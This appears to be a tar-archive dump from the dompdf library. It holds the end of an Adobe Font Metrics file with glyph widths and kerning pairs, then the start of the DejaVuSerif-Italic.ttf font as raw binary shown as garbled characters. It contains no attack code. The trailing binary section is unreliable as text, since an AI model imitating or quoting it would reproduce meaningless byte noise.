U 62476 ; WX 622 ; N uniF40C ; G 4680
U 62477 ; WX 893 ; N uniF40D ; G 4681
U 62478 ; WX 612 ; N uniF40E ; G 4682
U 62479 ; WX 622 ; N uniF40F ; G 4683
U 62480 ; WX 924 ; N uniF410 ; G 4684
U 62481 ; WX 622 ; N uniF411 ; G 4685
U 62482 ; WX 754 ; N uniF412 ; G 4686
U 62483 ; WX 624 ; N uniF413 ; G 4687
U 62484 ; WX 886 ; N uniF414 ; G 4688
U 62485 ; WX 622 ; N uniF415 ; G 4689
U 62486 ; WX 907 ; N uniF416 ; G 4690
U 62487 ; WX 621 ; N uniF417 ; G 4691
U 62488 ; WX 611 ; N uniF418 ; G 4692
U 62489 ; WX 624 ; N uniF419 ; G 4693
U 62490 ; WX 677 ; N uniF41A ; G 4694
U 62491 ; WX 621 ; N uniF41B ; G 4695
U 62492 ; WX 611 ; N uniF41C ; G 4696
U 62493 ; WX 630 ; N uniF41D ; G 4697
U 62494 ; WX 622 ; N uniF41E ; G 4698
U 62495 ; WX 561 ; N uniF41F ; G 4699
U 62496 ; WX 612 ; N uniF420 ; G 4700
U 62497 ; WX 626 ; N uniF421 ; G 4701
U 62498 ; WX 612 ; N uniF422 ; G 4702
U 62499 ; WX 611 ; N uniF423 ; G 4703
U 62500 ; WX 618 ; N uniF424 ; G 4704
U 62501 ; WX 667 ; N uniF425 ; G 4705
U 62502 ; WX 963 ; N uniF426 ; G 4706
U 62504 ; WX 1023 ; N uniF428 ; G 4707
U 62505 ; WX 844 ; N uniF429 ; G 4708
U 62506 ; WX 563 ; N uniF42A ; G 4709
U 62507 ; WX 563 ; N uniF42B ; G 4710
U 62508 ; WX 563 ; N uniF42C ; G 4711
U 62509 ; WX 563 ; N uniF42D ; G 4712
U 62510 ; WX 563 ; N uniF42E ; G 4713
U 62511 ; WX 563 ; N uniF42F ; G 4714
U 62512 ; WX 555 ; N uniF430 ; G 4715
U 62513 ; WX 555 ; N uniF431 ; G 4716
U 62514 ; WX 555 ; N uniF432 ; G 4717
U 62515 ; WX 555 ; N uniF433 ; G 4718
U 62516 ; WX 573 ; N uniF434 ; G 4719
U 62517 ; WX 573 ; N uniF435 ; G 4720
U 62518 ; WX 573 ; N uniF436 ; G 4721
U 62519 ; WX 824 ; N uniF437 ; G 4722
U 62520 ; WX 824 ; N uniF438 ; G 4723
U 62521 ; WX 824 ; N uniF439 ; G 4724
U 62522 ; WX 824 ; N uniF43A ; G 4725
U 62523 ; WX 824 ; N uniF43B ; G 4726
U 62524 ; WX 611 ; N uniF43C ; G 4727
U 62525 ; WX 611 ; N uniF43D ; G 4728
U 62526 ; WX 611 ; N uniF43E ; G 4729
U 62527 ; WX 611 ; N uniF43F ; G 4730
U 62528 ; WX 611 ; N uniF440 ; G 4731
U 62529 ; WX 611 ; N uniF441 ; G 4732
U 62917 ; WX 687 ; N uniF5C5 ; G 4733
U 64256 ; WX 833 ; N uniFB00 ; G 4734
U 64257 ; WX 787 ; N fi ; G 4735
U 64258 ; WX 787 ; N fl ; G 4736
U 64259 ; WX 1138 ; N uniFB03 ; G 4737
U 64260 ; WX 1139 ; N uniFB04 ; G 4738
U 64261 ; WX 808 ; N uniFB05 ; G 4739
U 64262 ; WX 1020 ; N uniFB06 ; G 4740
U 64275 ; WX 1388 ; N uniFB13 ; G 4741
U 64276 ; WX 1384 ; N uniFB14 ; G 4742
U 64277 ; WX 1378 ; N uniFB15 ; G 4743
U 64278 ; WX 1384 ; N uniFB16 ; G 4744
U 64279 ; WX 1713 ; N uniFB17 ; G 4745
U 64285 ; WX 294 ; N uniFB1D ; G 4746
U 64286 ; WX 0 ; N uniFB1E ; G 4747
U 64287 ; WX 663 ; N uniFB1F ; G 4748
U 64288 ; WX 665 ; N uniFB20 ; G 4749
U 64289 ; WX 939 ; N uniFB21 ; G 4750
U 64290 ; WX 788 ; N uniFB22 ; G 4751
U 64291 ; WX 920 ; N uniFB23 ; G 4752
U 64292 ; WX 786 ; N uniFB24 ; G 4753
U 64293 ; WX 857 ; N uniFB25 ; G 4754
U 64294 ; WX 869 ; N uniFB26 ; G 4755
U 64295 ; WX 821 ; N uniFB27 ; G 4756
U 64296 ; WX 890 ; N uniFB28 ; G 4757
U 64297 ; WX 838 ; N uniFB29 ; G 4758
U 64298 ; WX 749 ; N uniFB2A ; G 4759
U 64299 ; WX 749 ; N uniFB2B ; G 4760
U 64300 ; WX 749 ; N uniFB2C ; G 4761
U 64301 ; WX 749 ; N uniFB2D ; G 4762
U 64302 ; WX 728 ; N uniFB2E ; G 4763
U 64303 ; WX 728 ; N uniFB2F ; G 4764
U 64304 ; WX 728 ; N uniFB30 ; G 4765
U 64305 ; WX 610 ; N uniFB31 ; G 4766
U 64306 ; WX 447 ; N uniFB32 ; G 4767
U 64307 ; WX 588 ; N uniFB33 ; G 4768
U 64308 ; WX 687 ; N uniFB34 ; G 4769
U 64309 ; WX 343 ; N uniFB35 ; G 4770
U 64310 ; WX 400 ; N uniFB36 ; G 4771
U 64311 ; WX 1000 ; N uniFB37 ; G 4772
U 64312 ; WX 679 ; N uniFB38 ; G 4773
U 64313 ; WX 436 ; N uniFB39 ; G 4774
U 64314 ; WX 578 ; N uniFB3A ; G 4775
U 64315 ; WX 566 ; N uniFB3B ; G 4776
U 64316 ; WX 605 ; N uniFB3C ; G 4777
U 64317 ; WX 1000 ; N uniFB3D ; G 4778
U 64318 ; WX 724 ; N uniFB3E ; G 4779
U 64319 ; WX 1000 ; N uniFB3F ; G 4780
U 64320 ; WX 453 ; N uniFB40 ; G 4781
U 64321 ; WX 680 ; N uniFB41 ; G 4782
U 64322 ; WX 1000 ; N uniFB42 ; G 4783
U 64323 ; WX 675 ; N uniFB43 ; G 4784
U 64324 ; WX 658 ; N uniFB44 ; G 4785
U 64325 ; WX 1000 ; N uniFB45 ; G 4786
U 64326 ; WX 653 ; N uniFB46 ; G 4787
U 64327 ; WX 736 ; N uniFB47 ; G 4788
U 64328 ; WX 602 ; N uniFB48 ; G 4789
U 64329 ; WX 749 ; N uniFB49 ; G 4790
U 64330 ; WX 683 ; N uniFB4A ; G 4791
U 64331 ; WX 343 ; N uniFB4B ; G 4792
U 64332 ; WX 610 ; N uniFB4C ; G 4793
U 64333 ; WX 566 ; N uniFB4D ; G 4794
U 64334 ; WX 658 ; N uniFB4E ; G 4795
U 64335 ; WX 710 ; N uniFB4F ; G 4796
U 65024 ; WX 0 ; N uniFE00 ; G 4797
U 65025 ; WX 0 ; N uniFE01 ; G 4798
U 65026 ; WX 0 ; N uniFE02 ; G 4799
U 65027 ; WX 0 ; N uniFE03 ; G 4800
U 65028 ; WX 0 ; N uniFE04 ; G 4801
U 65029 ; WX 0 ; N uniFE05 ; G 4802
U 65030 ; WX 0 ; N uniFE06 ; G 4803
U 65031 ; WX 0 ; N uniFE07 ; G 4804
U 65032 ; WX 0 ; N uniFE08 ; G 4805
U 65033 ; WX 0 ; N uniFE09 ; G 4806
U 65034 ; WX 0 ; N uniFE0A ; G 4807
U 65035 ; WX 0 ; N uniFE0B ; G 4808
U 65036 ; WX 0 ; N uniFE0C ; G 4809
U 65037 ; WX 0 ; N uniFE0D ; G 4810
U 65038 ; WX 0 ; N uniFE0E ; G 4811
U 65039 ; WX 0 ; N uniFE0F ; G 4812
U 65056 ; WX 0 ; N uniFE20 ; G 4813
U 65057 ; WX 0 ; N uniFE21 ; G 4814
U 65058 ; WX 0 ; N uniFE22 ; G 4815
U 65059 ; WX 0 ; N uniFE23 ; G 4816
U 65529 ; WX 0 ; N uniFFF9 ; G 4817
U 65530 ; WX 0 ; N uniFFFA ; G 4818
U 65531 ; WX 0 ; N uniFFFB ; G 4819
U 65532 ; WX 0 ; N uniFFFC ; G 4820
U 65533 ; WX 1113 ; N uniFFFD ; G 4821
EndCharMetrics
StartKernData 
StartKernPairs 1921

KPX dollar ampersand -63
KPX dollar two -63
KPX dollar seven -196
KPX dollar eight -92
KPX dollar nine -139
KPX dollar colon -112
KPX dollar less -235
KPX dollar F -63
KPX dollar G -63
KPX dollar W -112
KPX dollar Y -112
KPX dollar Z -92
KPX dollar backslash -149
KPX dollar copyright -63
KPX dollar questiondown -149
KPX dollar Aacute -149
KPX dollar Egrave -63
KPX dollar Eacute -63
KPX dollar Ecircumflex -63
KPX dollar Edieresis -63
KPX dollar Igrave -63
KPX dollar Iacute -63
KPX dollar Icircumflex -63
KPX dollar Idieresis -63
KPX dollar Ntilde -63
KPX dollar Oacute -63
KPX dollar Dcaron -63
KPX dollar Dcroat -63
KPX dollar Emacron -63
KPX dollar Ebreve -63
KPX dollar Hcircumflex -196
KPX dollar hcircumflex -112
KPX dollar Hbar -196
KPX dollar hbar -112
KPX dollar Imacron -92
KPX dollar Ibreve -92
KPX dollar Iogonek -92
KPX dollar Idot -92
KPX dollar IJ -92
KPX dollar Jcircumflex -92
KPX dollar Kcommaaccent -112
KPX dollar kcommaaccent -92
KPX dollar kgreenlandic -235
KPX dollar Lacute -149
KPX dollar lacute -235
KPX dollar uni01AC -63
KPX dollar uni01AE -63
KPX dollar uni01DC -196
KPX dollar uni01DD -112
KPX dollar uni01F0 -63
KPX dollar uni01F4 -235
KPX dollar uni01F5 -149

KPX percent nine -83
KPX percent colon -112
KPX percent less -112
KPX percent Kcommaaccent -112
KPX percent kgreenlandic -112
KPX percent lacute -112
KPX percent uni01F4 -112

KPX ampersand six -73
KPX ampersand Gcircumflex -73
KPX ampersand Gbreve -73
KPX ampersand Gdotaccent -73
KPX ampersand Gcommaaccent -73
KPX ampersand uni01DA -73

KPX quotesingle less -159
KPX quotesingle kgreenlandic -159
KPX quotesingle lacute -159
KPX quotesingle uni01F4 -159

KPX parenright dollar -264
KPX parenright D -235
KPX parenright H -159
KPX parenright R -159
KPX parenright U -225
KPX parenright X -196
KPX parenright backslash -188
KPX parenright cent -235
KPX parenright sterling -235
KPX parenright currency -235
KPX parenright yen -235
KPX parenright brokenbar -235
KPX parenright section -235
KPX parenright dieresis -235
KPX parenright ordfeminine -159
KPX parenright guillemotleft -159
KPX parenright logicalnot -159
KPX parenright sfthyphen -159
KPX parenright acute -159
KPX parenright mu -159
KPX parenright paragraph -159
KPX parenright periodcentered -159
KPX parenright cedilla -159
KPX parenright ordmasculine -159
KPX parenright guillemotright -196
KPX parenright onequarter -196
KPX parenright onehalf -196
KPX parenright threequarters -196
KPX parenright questiondown -188
KPX parenright Aacute -188
KPX parenright Acircumflex -264
KPX parenright Atilde -235
KPX parenright Adieresis -264
KPX parenright Aring -235
KPX parenright AE -264
KPX parenright Ccedilla -235
KPX parenright Otilde -159
KPX parenright multiply -159
KPX parenright Ugrave -159
KPX parenright Ucircumflex -159
KPX parenright Yacute -159
KPX parenright dcaron -159
KPX parenright dmacron -159
KPX parenright emacron -159
KPX parenright ebreve -159
KPX parenright edotaccent -225
KPX parenright eogonek -225
KPX parenright ecaron -225
KPX parenright imacron -196
KPX parenright ibreve -196
KPX parenright iogonek -196
KPX parenright dotlessi -196
KPX parenright ij -196
KPX parenright jcircumflex -196
KPX parenright Lacute -188
KPX parenright uni01A5 -235
KPX parenright uni01AD -159
KPX parenright Uhorn -159
KPX parenright uni01F1 -159
KPX parenright uni01F5 -188

KPX asterisk seven -36
KPX asterisk less -83
KPX asterisk Hbar -36
KPX asterisk lacute -83

KPX period ampersand -131
KPX period two -131
KPX period eight -73
KPX period colon -55
KPX period H -112
KPX period R -112
KPX period X -112
KPX period backslash -206
KPX period ordfeminine -112
KPX period guillemotleft -112
KPX period logicalnot -112
KPX period sfthyphen -112
KPX period acute -112
KPX period mu -112
KPX period paragraph -112
KPX period periodcentered -112
KPX period cedilla -112
KPX period ordmasculine -112
KPX period guillemotright -112
KPX period onequarter -112
KPX period onehalf -112
KPX period threequarters -112
KPX period questiondown -206
KPX period Aacute -206
KPX period Egrave -131
KPX period Icircumflex -131
KPX period Yacute -112
KPX period Ebreve -178
KPX period ebreve -112
KPX period Idot -73
KPX period dotlessi -112

KPX slash two -73
KPX slash seven -339
KPX slash eight -112
KPX slash nine -282
KPX slash colon -178
KPX slash less -319
KPX slash backslash -253
KPX slash questiondown -253
KPX slash Aacute -253
KPX slash Ebreve -73
KPX slash Hbar -339
KPX slash Idot -112
KPX slash lacute -319

KPX two nine -73
KPX two semicolon -73
KPX two less -149
KPX two lacute -149

KPX three dollar -188
KPX three D -131
KPX three H -55
KPX three U -63
KPX three V -73
KPX three X -73
KPX three cent -131
KPX three sterling -131
KPX three currency -131
KPX three yen -131
KPX three brokenbar -131
KPX three section -131
KPX three dieresis -131
KPX three ordfeminine -55
KPX three guillemotleft -55
KPX three logicalnot -55
KPX three sfthyphen -55
KPX three guillemotright -73
KPX three onequarter -73
KPX three onehalf -73
KPX three threequarters -73
KPX three Yacute -55
KPX three edotaccent -63
KPX three ecaron -63
KPX three gdotaccent -73
KPX three gcommaaccent -73
KPX three dotlessi -73


KPX five seven -92
KPX five less -188
KPX five H -102
KPX five R -102
KPX five X -112
KPX five backslash -131
KPX five ordfeminine -102
KPX five guillemotleft -102
KPX five logicalnot -102
KPX five sfthyphen -102
KPX five acute -102
KPX five mu -102
KPX five paragraph -102
KPX five periodcentered -102
KPX five cedilla -102
KPX five ordmasculine -102
KPX five guillemotright -112
KPX five onequarter -112
KPX five onehalf -112
KPX five threequarters -112
KPX five questiondown -131
KPX five Aacute -131
KPX five Yacute -102
KPX five ebreve -102
KPX five Hbar -92
KPX five dotlessi -112
KPX five lacute -188

KPX six six -73
KPX six Gdotaccent -73
KPX six Gcommaaccent -73

KPX seven dollar -159
KPX seven seven 47
KPX seven D -243
KPX seven F -264
KPX seven H -264
KPX seven R -264
KPX seven U -225
KPX seven V -243
KPX seven X -264
KPX seven Z -282
KPX seven backslash -339
KPX seven cent -243
KPX seven sterling -243
KPX seven currency -243
KPX seven yen -243
KPX seven brokenbar -243
KPX seven section -243
KPX seven dieresis -243
KPX seven copyright -264
KPX seven ordfeminine -264
KPX seven guillemotleft -264
KPX seven logicalnot -264
KPX seven sfthyphen -264
KPX seven acute -264
KPX seven mu -264
KPX seven paragraph -264
KPX seven periodcentered -264
KPX seven cedilla -264
KPX seven ordmasculine -264
KPX seven guillemotright -264
KPX seven onequarter -264
KPX seven onehalf -264
KPX seven threequarters -264
KPX seven questiondown -339
KPX seven Aacute -339
KPX seven Eacute -264
KPX seven Idieresis -264
KPX seven Yacute -264
KPX seven ebreve -264
KPX seven edotaccent -225
KPX seven ecaron -225
KPX seven gdotaccent -243
KPX seven gcommaaccent -243
KPX seven Hbar 47
KPX seven dotlessi -264

KPX eight dollar -92

KPX nine dollar -139
KPX nine two -36
KPX nine D -159
KPX nine H -149
KPX nine L -36
KPX nine R -149
KPX nine X -149
KPX nine cent -159
KPX nine sterling -159
KPX nine currency -159
KPX nine yen -159
KPX nine brokenbar -159
KPX nine section -159
KPX nine dieresis -159
KPX nine ordfeminine -149
KPX nine guillemotleft -149
KPX nine logicalnot -149
KPX nine sfthyphen -149
KPX nine acute -149
KPX nine mu -149
KPX nine paragraph -149
KPX nine periodcentered -149
KPX nine cedilla -149
KPX nine ordmasculine -149
KPX nine guillemotright -149
KPX nine onequarter -149
KPX nine onehalf -149
KPX nine threequarters -149
KPX nine Yacute -149
KPX nine Ebreve -45
KPX nine ebreve -149
KPX nine dotlessi -149

KPX colon dollar -73
KPX colon D -139
KPX colon H -131
KPX colon R -112
KPX colon U -120
KPX colon cent -139
KPX colon sterling -139
KPX colon currency -139
KPX colon yen -139
KPX colon brokenbar -139
KPX colon section -139
KPX colon dieresis -139
KPX colon ordfeminine -131
KPX colon guillemotleft -131
KPX colon logicalnot -131
KPX colon sfthyphen -131
KPX colon acute -112
KPX colon mu -112
KPX colon paragraph -112
KPX colon periodcentered -112
KPX colon cedilla -112
KPX colon ordmasculine -112
KPX colon Yacute -131
KPX colon ebreve -112
KPX colon edotaccent -120
KPX colon ecaron -120

KPX semicolon ampersand -73
KPX semicolon two -73
KPX semicolon H -131
KPX semicolon ordfeminine -131
KPX semicolon guillemotleft -131
KPX semicolon logicalnot -131
KPX semicolon sfthyphen -131
KPX semicolon Egrave -73
KPX semicolon Icircumflex -73
KPX semicolon Yacute -131
KPX semicolon Ebreve -112

KPX less dollar -196
KPX less ampersand -73
KPX less two -73
KPX less D -243
KPX less H -264
KPX less R -264
KPX less X -225
KPX less cent -243
KPX less sterling -243
KPX less currency -243
KPX less yen -243
KPX less brokenbar -243
KPX less section -243
KPX less dieresis -243
KPX less ordfeminine -264
KPX less guillemotleft -264
KPX less logicalnot -264
KPX less sfthyphen -264
KPX less acute -264
KPX less mu -264
KPX less paragraph -264
KPX less periodcentered -264
KPX less cedilla -264
KPX less ordmasculine -264
KPX less guillemotright -225
KPX less onequarter -225
KPX less onehalf -225
KPX less threequarters -225
KPX less Egrave -73
KPX less Icircumflex -73
KPX less Yacute -264
KPX less Ebreve -120
KPX less ebreve -264
KPX less dotlessi -225


KPX D backslash -63
KPX D questiondown -63
KPX D Aacute -63


KPX N H -73
KPX N R -73
KPX N ordfeminine -73
KPX N guillemotleft -73
KPX N logicalnot -73
KPX N sfthyphen -73
KPX N acute -73
KPX N mu -73
KPX N paragraph -73
KPX N periodcentered -73
KPX N cedilla -73
KPX N ordmasculine -45
KPX N Yacute -73
KPX N ebreve -73





KPX cent backslash -63
KPX cent questiondown -63
KPX cent Aacute -63

KPX sterling backslash -63
KPX sterling questiondown -63
KPX sterling Aacute -63

KPX currency backslash -63
KPX currency questiondown -63
KPX currency Aacute -63

KPX yen backslash -63
KPX yen questiondown -63
KPX yen Aacute -63

KPX brokenbar backslash -63
KPX brokenbar questiondown -63
KPX brokenbar Aacute -63

KPX section backslash -63
KPX section questiondown -63
KPX section Aacute -63



KPX Acircumflex ampersand -63
KPX Acircumflex two -63
KPX Acircumflex seven -196
KPX Acircumflex eight -92
KPX Acircumflex nine -139
KPX Acircumflex colon -112
KPX Acircumflex less -235
KPX Acircumflex F -63
KPX Acircumflex G -63
KPX Acircumflex W -112
KPX Acircumflex Y -112
KPX Acircumflex Z -92
KPX Acircumflex backslash -149
KPX Acircumflex copyright -63
KPX Acircumflex questiondown -149
KPX Acircumflex Aacute -149
KPX Acircumflex Egrave -63
KPX Acircumflex Eacute -63
KPX Acircumflex Ecircumflex -63
KPX Acircumflex Edieresis -63
KPX Acircumflex Igrave -63
KPX Acircumflex Iacute -63
KPX Acircumflex Icircumflex -63
KPX Acircumflex Idieresis -63
KPX Acircumflex Ntilde -63
KPX Acircumflex Oacute -63
KPX Acircumflex Dcaron -63
KPX Acircumflex Dcroat -63
KPX Acircumflex Emacron -63
KPX Acircumflex Ebreve -63
KPX Acircumflex Hcircumflex -196
KPX Acircumflex hcircumflex -112
KPX Acircumflex Hbar -196
KPX Acircumflex hbar -112
KPX Acircumflex Imacron -92
KPX Acircumflex Ibreve -92
KPX Acircumflex Iogonek -92
KPX Acircumflex Idot -92
KPX Acircumflex IJ -92
KPX Acircumflex Jcircumflex -92
KPX Acircumflex Kcommaaccent -112
KPX Acircumflex kcommaaccent -92
KPX Acircumflex kgreenlandic -235
KPX Acircumflex Lacute -149
KPX Acircumflex lacute -235
KPX Acircumflex uni01AC -63
KPX Acircumflex uni01AE -63
KPX Acircumflex uni01DC -196
KPX Acircumflex uni01DD -112
KPX Acircumflex uni01F0 -63
KPX Acircumflex uni01F4 -235
KPX Acircumflex uni01F5 -149

KPX Adieresis ampersand -63
KPX Adieresis two -63
KPX Adieresis seven -196
KPX Adieresis eight -92
KPX Adieresis nine -139
KPX Adieresis colon -112
KPX Adieresis less -235
KPX Adieresis F -63
KPX Adieresis G -63
KPX Adieresis W -112
KPX Adieresis Y -112
KPX Adieresis Z -92
KPX Adieresis backslash -149
KPX Adieresis copyright -63
KPX Adieresis questiondown -149
KPX Adieresis Aacute -149
KPX Adieresis Egrave -63
KPX Adieresis Eacute -63
KPX Adieresis Ecircumflex -63
KPX Adieresis Edieresis -63
KPX Adieresis Igrave -63
KPX Adieresis Iacute -63
KPX Adieresis Icircumflex -63
KPX Adieresis Idieresis -63
KPX Adieresis Ntilde -63
KPX Adieresis Oacute -63
KPX Adieresis Dcaron -63
KPX Adieresis Dcroat -63
KPX Adieresis Emacron -63
KPX Adieresis Ebreve -63
KPX Adieresis Hcircumflex -196
KPX Adieresis hcircumflex -112
KPX Adieresis Hbar -196
KPX Adieresis hbar -112
KPX Adieresis Imacron -92
KPX Adieresis Ibreve -92
KPX Adieresis Iogonek -92
KPX Adieresis Idot -92
KPX Adieresis IJ -92
KPX Adieresis Jcircumflex -92
KPX Adieresis Kcommaaccent -112
KPX Adieresis kcommaaccent -92
KPX Adieresis kgreenlandic -235
KPX Adieresis Lacute -149
KPX Adieresis lacute -235
KPX Adieresis uni01AC -63
KPX Adieresis uni01AE -63
KPX Adieresis uni01DC -196
KPX Adieresis uni01DD -112
KPX Adieresis uni01F0 -63
KPX Adieresis uni01F4 -235
KPX Adieresis uni01F5 -149

KPX AE ampersand -63
KPX AE two -63
KPX AE seven -196
KPX AE eight -92
KPX AE nine -139
KPX AE colon -112
KPX AE less -235
KPX AE F -63
KPX AE G -63
KPX AE W -112
KPX AE Y -112
KPX AE Z -92
KPX AE backslash -149
KPX AE copyright -63
KPX AE questiondown -149
KPX AE Aacute -149
KPX AE Egrave -63
KPX AE Eacute -63
KPX AE Ecircumflex -63
KPX AE Edieresis -63
KPX AE Igrave -63
KPX AE Iacute -63
KPX AE Icircumflex -63
KPX AE Idieresis -63
KPX AE Ntilde -63
KPX AE Oacute -63
KPX AE Dcaron -63
KPX AE Dcroat -63
KPX AE Emacron -63
KPX AE Ebreve -63
KPX AE Hcircumflex -196
KPX AE hcircumflex -112
KPX AE Hbar -196
KPX AE hbar -112
KPX AE Imacron -92
KPX AE Ibreve -92
KPX AE Iogonek -92
KPX AE Idot -92
KPX AE IJ -92
KPX AE Jcircumflex -92
KPX AE Kcommaaccent -112
KPX AE kcommaaccent -92
KPX AE kgreenlandic -235
KPX AE Lacute -149
KPX AE lacute -235
KPX AE uni01AC -63
KPX AE uni01AE -63
KPX AE uni01DC -196
KPX AE uni01DD -112
KPX AE uni01F0 -63
KPX AE uni01F4 -235
KPX AE uni01F5 -149

KPX Egrave six -73
KPX Egrave Gcircumflex -73
KPX Egrave Gbreve -73
KPX Egrave Gdotaccent -73
KPX Egrave Gcommaaccent -73
KPX Egrave uni01DA -73

KPX Ecircumflex six -73
KPX Ecircumflex Gcircumflex -73
KPX Ecircumflex Gbreve -73
KPX Ecircumflex Gdotaccent -73
KPX Ecircumflex Gcommaaccent -73
KPX Ecircumflex uni01DA -73

KPX Igrave six -73
KPX Igrave Gcircumflex -73
KPX Igrave Gbreve -73
KPX Igrave Gdotaccent -73
KPX Igrave Gcommaaccent -73
KPX Igrave uni01DA -73

KPX Icircumflex six -73
KPX Icircumflex Gcircumflex -73
KPX Icircumflex Gbreve -73
KPX Icircumflex Gdotaccent -73
KPX Icircumflex Gcommaaccent -73
KPX Icircumflex uni01DA -73

KPX Eth less -159
KPX Eth kgreenlandic -159
KPX Eth lacute -159
KPX Eth uni01F4 -159

KPX Ograve less -159
KPX Ograve kgreenlandic -159
KPX Ograve lacute -159
KPX Ograve uni01F4 -159

KPX agrave seven -36
KPX agrave less -83
KPX agrave Hbar -36
KPX agrave lacute -83

KPX ucircumflex two -73
KPX ucircumflex seven -339
KPX ucircumflex eight -112
KPX ucircumflex nine -282
KPX ucircumflex colon -178
KPX ucircumflex less -319
KPX ucircumflex backslash -253
KPX ucircumflex questiondown -253
KPX ucircumflex Aacute -253
KPX ucircumflex Ebreve -73
KPX ucircumflex Hbar -339
KPX ucircumflex Idot -112
KPX ucircumflex lacute -319

KPX ydieresis two -73
KPX ydieresis seven -339
KPX ydieresis eight -112
KPX ydieresis nine -282
KPX ydieresis colon -178
KPX ydieresis less -319
KPX ydieresis backslash -253
KPX ydieresis questiondown -253
KPX ydieresis Aacute -253
KPX ydieresis Ebreve -73
KPX ydieresis Hbar -339
KPX ydieresis Idot -112
KPX ydieresis lacute -319

KPX Abreve O -8

KPX abreve two -73
KPX abreve seven -339
KPX abreve eight -73
KPX abreve nine -282
KPX abreve colon -159
KPX abreve less -319
KPX abreve backslash -253
KPX abreve questiondown -253
KPX abreve Aacute -253
KPX abreve Ebreve -73
KPX abreve Hbar -339
KPX abreve Idot -73
KPX abreve lacute -319

KPX Edotaccent seven -92
KPX Edotaccent less -188
KPX Edotaccent H -102
KPX Edotaccent R -102
KPX Edotaccent X -112
KPX Edotaccent backslash -131
KPX Edotaccent ordfeminine -102
KPX Edotaccent guillemotleft -102
KPX Edotaccent logicalnot -102
KPX Edotaccent sfthyphen -102
KPX Edotaccent acute -102
KPX Edotaccent mu -102
KPX Edotaccent paragraph -102
KPX Edotaccent periodcentered -102
KPX Edotaccent cedilla -102
KPX Edotaccent ordmasculine -102
KPX Edotaccent guillemotright -112
KPX Edotaccent onequarter -112
KPX Edotaccent onehalf -112
KPX Edotaccent threequarters -112
KPX Edotaccent questiondown -131
KPX Edotaccent Aacute -131
KPX Edotaccent Yacute -102
KPX Edotaccent ebreve -102
KPX Edotaccent Hbar -92
KPX Edotaccent dotlessi -112
KPX Edotaccent lacute -188


KPX Ecaron seven -92
KPX Ecaron less -188
KPX Ecaron H -102
KPX Ecaron R -102
KPX Ecaron X -112
KPX Ecaron backslash -131
KPX Ecaron ordfeminine -102
KPX Ecaron guillemotleft -102
KPX Ecaron logicalnot -102
KPX Ecaron sfthyphen -102
KPX Ecaron acute -102
KPX Ecaron mu -102
KPX Ecaron paragraph -102
KPX Ecaron periodcentered -102
KPX Ecaron cedilla -102
KPX Ecaron ordmasculine -102
KPX Ecaron guillemotright -112
KPX Ecaron onequarter -112
KPX Ecaron onehalf -112
KPX Ecaron threequarters -112
KPX Ecaron questiondown -131
KPX Ecaron Aacute -131
KPX Ecaron Yacute -102
KPX Ecaron ebreve -102
KPX Ecaron Hbar -92
KPX Ecaron dotlessi -112
KPX Ecaron lacute -188


KPX Gdotaccent six -73
KPX Gdotaccent Gdotaccent -73
KPX Gdotaccent Gcommaaccent -73

KPX Gcommaaccent six -73
KPX Gcommaaccent Gdotaccent -73
KPX Gcommaaccent Gcommaaccent -73

KPX Hbar dollar -159
KPX Hbar seven 47
KPX Hbar D -243
KPX Hbar F -264
KPX Hbar H -264
KPX Hbar R -264
KPX Hbar U -225
KPX Hbar V -243
KPX Hbar X -264
KPX Hbar Z -282
KPX Hbar backslash -339
KPX Hbar cent -243
KPX Hbar sterling -243
KPX Hbar currency -243
KPX Hbar yen -243
KPX Hbar brokenbar -243
KPX Hbar section -243
KPX Hbar dieresis -243
KPX Hbar copyright -264
KPX Hbar ordfeminine -264
KPX Hbar guillemotleft -264
KPX Hbar logicalnot -264
KPX Hbar sfthyphen -264
KPX Hbar acute -264
KPX Hbar mu -264
KPX Hbar paragraph -264
KPX Hbar periodcentered -264
KPX Hbar cedilla -264
KPX Hbar ordmasculine -264
KPX Hbar guillemotright -264
KPX Hbar onequarter -264
KPX Hbar onehalf -264
KPX Hbar threequarters -264
KPX Hbar questiondown -339
KPX Hbar Aacute -339
KPX Hbar Eacute -264
KPX Hbar Idieresis -264
KPX Hbar Yacute -264
KPX Hbar ebreve -264
KPX Hbar edotaccent -225
KPX Hbar ecaron -225
KPX Hbar gdotaccent -243
KPX Hbar gcommaaccent -243
KPX Hbar Hbar 47
KPX Hbar dotlessi -264

KPX hbar Hbar -112

KPX Idot dollar -92
KPX Idot Idot -92

KPX lacute dollar -196
KPX lacute ampersand -73
KPX lacute two -73
KPX lacute D -243
KPX lacute H -264
KPX lacute R -264
KPX lacute X -225
KPX lacute cent -243
KPX lacute sterling -243
KPX lacute currency -243
KPX lacute yen -243
KPX lacute brokenbar -243
KPX lacute section -243
KPX lacute dieresis -243
KPX lacute ordfeminine -264
KPX lacute guillemotleft -264
KPX lacute logicalnot -264
KPX lacute sfthyphen -264
KPX lacute acute -264
KPX lacute mu -264
KPX lacute paragraph -264
KPX lacute periodcentered -264
KPX lacute cedilla -264
KPX lacute ordmasculine -264
KPX lacute guillemotright -225
KPX lacute onequarter -225
KPX lacute onehalf -225
KPX lacute threequarters -225
KPX lacute Egrave -73
KPX lacute Icircumflex -73
KPX lacute Yacute -264
KPX lacute Ebreve -120
KPX lacute ebreve -264
KPX lacute dotlessi -225


KPX uni027D dollar -272
KPX uni027D hyphen -92
KPX uni027D nine 38
KPX uni027D less 75
KPX uni027D lacute 75
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSerif-Italic.ttf000066600001243614151150442770016600 0ustar000FFTMs���<GDEF���PX�GPOS��	e7NGSUB�-��9T�OS/2m��6?�VcmapO���@H.cvt �3��Px�fpgm���R�gaspR�glyfqd�R��head
*��6hhea
���$hmtx�x_6�kern8L��loca.^�f�6�maxp��� name���i��!�post���L��prepuy�B,^�=����)��)��������������������������������������
o
p
z
{
�
�
�
�
�
��DFLTcyrl*grekFlatnV��MKD SRB ����^AZE ^CRT ^GAG ^ISM ^KAZ ^KRK ^KSM ^LSM ^MOL ^NSM ^ROM ^SKS ^SSM ^TAT ^TRK ^��kernmarkmkmk �!84V@FLRX^djpv|����������������������f�n<�n<�n<�n<�n<�n<�������f��f��f��f��f����n<�nN�n<�(f�(f�(f�(f�(f�(f�����������������������������
p
p
r
r
t
x��������
p
z%������������������ &,28>DJPV\bhn� �� �� ��*
�*
�*
�*
�*
�*
�,���� �� �� �� �� ��*
�*
��D�*
��D��D�������������p��p��p��p��p��p�����������p��p�dl�������������� &,28>DJPV\bhntz����������������������
